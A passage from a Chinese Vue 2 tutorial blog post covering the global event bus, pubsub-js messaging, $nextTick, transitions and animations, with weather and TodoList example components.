  2. 解绑自定义事件:this.$off('atguigu')

  3. 组件上也可以绑定原生DOM事件,需要使用native修饰符。

  4. 注意:通过this.$refs.xxx.$on('atguigu',回调要用的函数)绑定自定义事件时,回调要么配置在methods中,要么用箭头函数,否则this指向会出问题!

31.14事件总线

// main.js文件
import Vue from 'vue'
import App from './App.vue'

Vue.config.productionTip = false

new Vue({
    render: h => h(App),
    beforeCreate() {
        Vue.prototype.$bus = this;   // 安装全局事件总线
    }
}).$mount('#app')  
<!-- App.vue文件 -->
<template>
  <div id="app">
    <h1>{{ msg }}</h1>
    <MySchoolInfo/>
    <hr/>
    <MyStudentInfo></MyStudentInfo>
  </div>
</template>

<script>

import MySchoolInfo from './components/MySchoolInfo.vue'
import MyStudentInfo from "@/components/MyStudentInfo.vue";

export default {
  name: 'App',
  data() {
    return {
      msg: '你好啊',
      studentName: '',
    }
  },
  components: {
    MyStudentInfo,
    MySchoolInfo,
  },
  methods: {},
  mounted() {
  }

}
</script>

<style scoped>
#app {
  background-color: gray;
  padding: 5px;
}
</style>

<!-- MySchoolInfo.vue文件 -->
<template>
  <div class="demo">
    <h2>学校名称:{{ name }}</h2>
    <h2>学校地址:{{ address }}</h2>
  </div>
</template>

<script>
export default {
  name: "MySchoolInfo",
  data() {
    return {
      name: "沈师6666666+",
      address: "地址",
    };
  },
  methods: {},
  mounted() {
    this.$bus.$on("hello", (data) => {
      console.log("school收到了", data);
    });
  },
  // 开完给它关了
  beforeDestroy() {
    this.$bus.$off("hello");
  },
};
</script>

<style lang="less" scoped>
.demo {
  background-color: skyblue;
}
</style>
<!-- MyStudentInfo.vue文件 -->
<template>
  <div class="demo">
    <h2>学生姓名:{{ name }}</h2>
    <h2>学生性别:{{ sex }}</h2>
    <button @click="sendStudentName">把学生名给school</button>
  </div>
</template>

<script>
export default {
  name: 'MySchoolInfo',
  data() {
    return {
      name: '张三',
      sex: '男', 
    }
  },
  methods: {
    sendStudentName() {
      this.$bus.$emit('hello', 666)
    },
  },

};
</script>

<style scoped>
.demo {
  background-color: orange;
}
</style>

总结:

  1. 一种组件间通信的方式,适用于任意组件间通信。

  2. 安装全局事件总线:

new Vue({
    ......
    beforeCreate() {
        Vue.prototype.$bus = this 
		//安装全局事件总线,$bus就是当前应用的vm
    },
    ......
}) 
  1. 使用事件总线:

    • 接收数据:A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身。

    • methods(){
        demo(data){......}
      }
      ......
      mounted() {
        this.$bus.$on('xxxx',this.demo)
      }
      
    • 提供数据:this. b u s . bus. bus.emit(‘xxxx’,数据)

  2. 最好在beforeDestroy钩子中,用$off去解绑当前组件所用到的事件。

31.15消息订阅与发布

注:安装插件,需要消息的订阅消息,发送消息的发布消息。推荐总线,它也可以解决兄弟组件之间的数据传递问题。

<!-- MyStudentInfo.vue文件 -->
<template>
  <div class="demo">
    <h2>学生姓名:{{ name }}</h2>
    <h2>学生性别:{{ sex }}</h2>
    <button @click="sendStudentName">把学生名给school</button>
  </div>
</template>

<script>
import pubsub from "pubsub-js";

export default {
  name: "MySchoolInfo",
  data() {
    return {
      name: "张三",
      sex: "男",
    };
  },
  methods: {
    sendStudentName() {
      // this.$bus.$emit('hello', 666)
      pubsub.publish("hello", 666);
    },
  },
};
</script>

<style scoped>
.demo {
  background-color: orange;
}
</style>
<!-- MySchoolInfo.vue文件 -->
<template>
  <div class="demo">
    <h2>学校名称:{{ name }}</h2>
    <h2>学校地址:{{ address }}</h2>
  </div>
</template>

<script>
import pubsub from "pubsub-js";

export default {
  name: "MySchoolInfo",
  data() {
    return {
      name: "沈师6666666+",
      address: "地址",
    };
  },
  methods: {
    demo(msgName, data) {
      console.log("有人发布了hello消息,hello消息的回调执行了", data);
    },
  },
  mounted() {
    // this.$bus.$on('hello', (data) => {
    //   console.log('school收到了', data);
    // });

    // this.pubId = pubsub.subscribe('hello', this.demo);
    this.pubId = pubsub.subscribe("hello", (msgName, data) => {
      console.log("有人发布了hello消息,hello消息的回调执行了", data);
    });
  },
  beforeDestroy() {
    // this.$bus.$off('hello')
    pubsub.unsubscribe(this.pubId);
  },
};
</script>

<style lang="less" scoped>
.demo {
  background-color: skyblue;
}
</style>

总结:

  1. 一种组件间通信的方式,适用于任意组件间通信。

  2. 使用步骤:

    1.安装pubsub:npm i pubsub-js

    2.引入: import pubsub from ‘pubsub-js’

    3.接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身。

  3. 订阅消息:pubsub.subscribe('xxx',this.demo)

  4. 提供数据:pubsub.publish('xxx',数据)

  5. 在beforeDestroy钩子中用pubsub.unsubscribe(this.pid)取消订阅。

31.16$nextTick(常用)

vue不会及时更新在变化基础上还有变化的数据

  1. 语法:this.$nextTick(回调函数)
  2. 作用:在下一次 DOM 更新结束后执行其指定的回调。
  3. 什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行。

在这里插入图片描述

31.17动画

  1. 作用:在插入、更新或移除 DOM元素时,在合适的时候给元素添加样式类名。

  2. 图示:

在这里插入图片描述

  1. 写法:

    元素进入的样式:

    v-enter:进入的起点 v-enter-active:进入过程中 v-enter-to:进入的终点

    元素离开的样式:

    v-leave:离开的起点 v-leave-active:离开过程中 v-leave-to:离开的终点

  2. 使用<transition>包裹要过度的元素,并配置name属性:

<transition name="hello">
    <h1 v-show="isShow">你好啊!</h1>
</transition>
  1. 若有多个元素需要过度,则需要使用:<transition-group>,且每个元素都要指定key值。

  2. 使用第三方库,需下载第三方库npm install animate.css

  3. 动画库的网址为:https://animate.style/

    注:在npm网站搜索栏中输入animate.css,进行相关查找。

<!-- 动画写法 -->
<template>
  <div>
    <button @click="isShow = !isShow">显示/隐藏</button>
    <!--  appear第一次加载就出现动画  -->
    <!-- 没有name的话下面就是v-enter-active/v-leave-active -->
    <transition name="hello" appear>
      <h1 v-show="isShow">你好</h1>
    </transition>
    hh
  </div>
</template>

<script>
export default {
  name: "Test",
  data() {
    return {
      isShow: true,
    };
  },
};
</script>

<style scoped>
h1 {
  background-color: orange;
}

.hello-enter-active {
  animation: Act 0.5s linear;
}

.hello-leave-active {
  animation: Act 0.5s reverse linear;
}

@keyframes Act {
  from {
    transform: translateX(-100%);
  }
  to {
    transform: translateX(0px);
  }
}
</style>
<!-- 过渡写法 -->
<template>
  <div>
    <button @click="isShow = !isShow">显示/隐藏</button>
    <transition-group appear>
      <h1 v-show="!isShow" key="1">你好</h1>
      <h1 v-show="isShow" key="2">Vue学习</h1>
    </transition-group>
    hh
  </div>
</template>

<script>
export default {
  name: "Test2",
  data() {
    return {
      isShow: true,
    };
  },
};
</script>

<style scoped>
h1 {
  background-color: orange;
}

.v-enter-active,
.v-leave-active {
  transition: 0.5s linear;
}

/*进入的起点, 离开的终点*/
.v-enter,
.v-leave-to {
  transform: translateX(-100%);
}

/*进入的终点, 离开的起点*/
.v-enter-to,
.v-leave {
  transform: translateX(0);
}
</style>
<!-- 使用第三方动画库 -->
<template>
  <div>
    <button @click="isShow = !isShow">显示/隐藏</button>
    <transition-group
      appear
      name="animate__animated animate__bounce"
      enter-active-class="animate__swing"
      leave-active-class="animate__backOutUp"
    >
      <h1 v-show="isShow" key="1">你好</h1>
      <h1 v-show="isShow" key="2">你好</h1>
    </transition-group>
    hh
  </div>
</template> 

<script>
// 引入动画的第三方库
import "animate.css";

export default {
  name: "Test3",
  data() {
    return {
      isShow: true,
    };
  },
};
</script>

<style scoped>
h1 {
  background-color: orange;
}
</style>

综合案例

天气案例

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../js/vue.js"></script>
</head>

<body>
<div class="root">
<h2>今天天气{{info}}</h2>
<!-- 绑定事件的时候:@xxx=“yyy” yyy可以写一些简单语句 不过不推荐 -->
<!-- <button @click="isHot!=isHot">切换天气</button> -->
<button @click="changeWeather">切换天气</button>
</div>
<script>
var vm = new Vue({
el: '.root',
data: {
  isHot: true
},
// 计算属性 computed 有缓存
computed: {
  // 可以里面computed里面套了一个函数
  info() {
    return this.isHot ? '炎热' : '凉爽'
  }
},
methods: {
  changeWeather() {
    this.isHot = !this.isHot
  }
},
})
</script>

</body>

</html>

TodoList案例

最忌讳的是不分析程序直接就写。

<!-- App.vue文件 -->
<template>
  <div id="app">
    <div class="todo-container">
      <div class="todo-wrap">
        <UserHeader :addTodo="addTodo"></UserHeader>
        <UserList
          :todos="todos"
          :checkTodo="checkTodo"
          :deleteTodo="deleteTodo"
        >
        </UserList>
        <UserFooter
          :todos="todos"
          :checkAllTodo="checkAllTodo"
          :clearAllTodo="clearAllTodo"
        ></UserFooter>
      </div>
    </div>
  </div>
</template>

<script>
import UserHeader from "@/components/UserHeader.vue";
import UserFooter from "@/components/UserFooter.vue";
import UserList from "@/components/UserList.vue";
// UserItem是UserList的子级所以不用引入
// import UserItem from "@/components/UserItem.vue";

export default {
  name: "App",
  components: {
    UserHeader,
    UserList,
    // UserItem,
    UserFooter,
  },
  methods: {
    // 添加一个todo
    addTodo(todoObj) {
      console.log("app收到数据:" + todoObj);
      this.todos.unshift(todoObj);
    },
    // 勾选/取消勾选todo
    checkTodo(id) {
      // 遍历
      this.todos.forEach((todo) => {
        if (todo.id === id) todo.done = !todo.done;
      });
    },
    deleteTodo(id) {
      // 过滤
      this.todos = this.todos.filter((todo) => {
        return todo.id !== id;
      });
    },
    // 全选/取消
    checkAllTodo(done) {
      this.todos.forEach((todo) => {
        todo.done = done;
      });
    },
    // 清除所有已经完成todo
    clearAllTodo() {
      this.todos = this.todos.filter((todo) => {
        return !todo.done;
      });
    },
  },
  data() {
    return {
      // 一堆数据用数组 每一项属性过多用对象
      // 状态提升(状态数据) 该数据发生变化,页面会随之变化
      todos: [
        { id: "001", title: "吃饭", done: true },
        { id: "002", title: "睡觉", done: false },
        { id: "003", title: "打豆豆", done: true },
        { id: "004", title: "溜猫", done: false },
      ],
    };
  },
};
</script>
<style>
/*base*/
body {
  background: #fff;
}
.btn {
  display: inline-block;
  padding: 4px 12px;
  margin-bottom: 0;
  font-size: 14px;
  line-height: 20px;
  text-align: center;
  vertical-align: middle;
  cursor: pointer;
  box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2),
    0 1px 2px rgba(0, 0, 0, 0.05);
  border-radius: 4px;
}
.btn-danger {
  color: #fff;
  background-color: #da4f49;
  border: 1px solid #bd362f;
}
.btn-danger:hover {
  color: #fff;
  background-color: #bd362f;
}
.btn:focus {
  outline: none;
}
.todo-container {
  width: 600px;
  margin: 0 auto;
}
.todo-container .todo-wrap {
  padding: 10px;
  border: 1px solid #ddd;
  border-radius: 5px;
}
</style>
<!-- UserHeader.vue文件 -->
<template>
  <div class="todo-header">
    <input
      type="text"
      placeholder="输入任务名称"
      v-model="title"
      @keyup.enter="add"
    />
  </div>
</template>

<script>
// 在终端输入 npm i nanoid 下载 nanoid库
// 引入nanoid库 这个库是用来生成id号的(避免id重复)
import { nanoid } from "nanoid";

export default {
  name: "UserHeader",
  data() {
    return { title: "" };
  },
  methods: {
    add(e) {
      // 校验数据
      if (!this.title.trim()) return;
      // 将用户的输入包装成一个todo对象
      const todoObj = { id: nanoid(), title: e.target.value, done: false };
      // 通知App组件添加一个todo对象
      this.addTodo(todoObj);
      // 清空输入
      this.title = "";
    },
  },
  props: ["addTodo"],
};
</script>

<style scoped>
/*header*/
.todo-header input {
  width: 560px;
  height: 28px;
  font-size: 14px;
  border: 1px solid #ccc;
  border-radius: 4px;
  padding: 4px 7px;
}

.todo-header input:focus {
  outline: none;
  border-color: rgba(82, 168, 236, 0.8);
  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075),
    0 0 8px rgba(82, 168, 236, 0.6);
}
</style>
<!-- UserList.vue文件 -->
<template>
  <ul class="todo-main">
    <UserItem
      v-for="todoObj in todos"
      :key="todoObj.id"
      :todo="todoObj"
      :checkTodo="checkTodo"
      :deleteTodo="deleteTodo"
    ></UserItem>
  </ul>
</template>

<script>
import UserItem from "@/components/UserItem.vue";

export default {
  name: "UserList",
  components: { UserItem },
  props: ["todos", "checkTodo", "deleteTodo"],
};
</script>

<style scoped>
/*list*/
.todo-main {
  margin-left: 0px;
  border: 1px solid #ddd;
  border-radius: 2px;
  padding: 0px;
}

.todo-empty {
  height: 40px;
  line-height: 40px;
  border: 1px solid #ddd;
  border-radius: 2px;
  padding-left: 5px;
  margin-top: 10px;
}
</style>
<!-- UserItem.vue文件 -->
<template>
  <li>
    <label>
      <input
        type="checkbox"
        :checked="todo.done"
        @change="handleCheck(todo.id)"
      />
      <!-- 如下代码(v-model)也能实现功能,但是不推荐,违反了修改传入的props原则 (类似面向对象设计原则-- 开放封闭原则) -->
      <!-- 不要把v-model中的数据写成props传进来的数据 -->
      <!-- <input type="checkbox" :checked="todo.done" v-model="todo.done"> -->
      <span>{{ todo.title }}</span>
    </label>
    <button class="btn btn-danger" @click="handleDelete(todo.id)">删除</button>
  </li>
</template> 

<script>
export default {
  name: "UserItem",
  props: ["todo", "checkTodo", "deleteTodo"],
  methods: {
    handleCheck(id) {
      // 通知app组件将对应done取反
      this.checkTodo(id);
    },
    handleDelete(id) {
      // 和alert相比,confirm有两个交互按钮,他们的实际作用有异曲同工之处。
      if (confirm("确定删除吗?")) {
        this.deleteTodo(id);
      }
    },
  },
};
</script>

<style scoped>
/*item*/
li {
  list-style: none;
  height: 36px;
  line-height: 36px;
  padding: 0 5px;
  border-bottom: 1px solid #ddd;
}

li label {
  float: left;
  cursor: pointer;
}

li label li input {
  vertical-align: middle;
  margin-right: 6px;
  position: relative;
  top: -1px;
}

li button {
  float: right;
  display: none;
  margin-top: 3px;
}

li:before {
  content: initial;
}

li:last-child {
  border-bottom: none;
}
li:hover {
  background-color: #ddd;
}
li:hover button {
  display: block;
}
</style>
<!-- UserFooter.vue文件 -->
<template>
  <div class="todo-footer" v-show="total">
    <label>
      <!-- <input type="checkbox" :checked="isAll" @change="checkAll"> -->
      <!-- 这里应用 v-model是由于isAll是我们自己计算出来的,不是由其他组件传递过来的,并且用v-model编写更符合逻辑 -->
      <input type="checkbox" v-model="isAll" />
    </label>
    <span class="f">
      <span>已完成{{ doneTotal }}</span> / 全部{{ total }}
    </span>
    <button @click="clearAll">清除已完成任务</button>
  </div>
</template>

<script>
export default {
  name: "UserFooter",
  props: ["todos", "checkAllTodo", "clearAllTodo"],
  computed: {
    total() {
      return this.todos.length;
    },
    doneTotal() {
      // current是每一个todo项 监听current.done实现的累加
      return this.todos.reduce((pre, current) => {
        return pre + (current.done ? 1 : 0);
      }, 0);
    },
    isAll: {
      get() {
        return this.doneTotal === this.total && this.total > 0;
      },
      set(value) {
        this.checkAllTodo(value);
      },
    },
  },
  methods: {
    // checkAll(e) {
    //   this.checkAllTodo(e.target.checked)
    // },
    clearAll() {
      this.clearAllTodo();
    },
  },
};
</script>

<style scoped>
/*footer*/
.todo-footer {
  height: 40px;
  line-height: 40px;
  padding-left: 6px;
  margin-top: 5px;
  color: #838383;
}

.todo-footer label {
  display: inline-block;
  margin-right: 15px;
  cursor: pointer;
}

.todo-footer label input {
  position: relative;
  top: -1px;
  vertical-align: middle;
  margin-right: 5px;
}

.todo-footer button {
  float: right;
  height: 30px;
  margin-top: 5px;
  color: #fff;
  background-color: #409fff;
  border: 1px solid #fff;
  border-radius: 5px;
}
</style>
  • 7
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值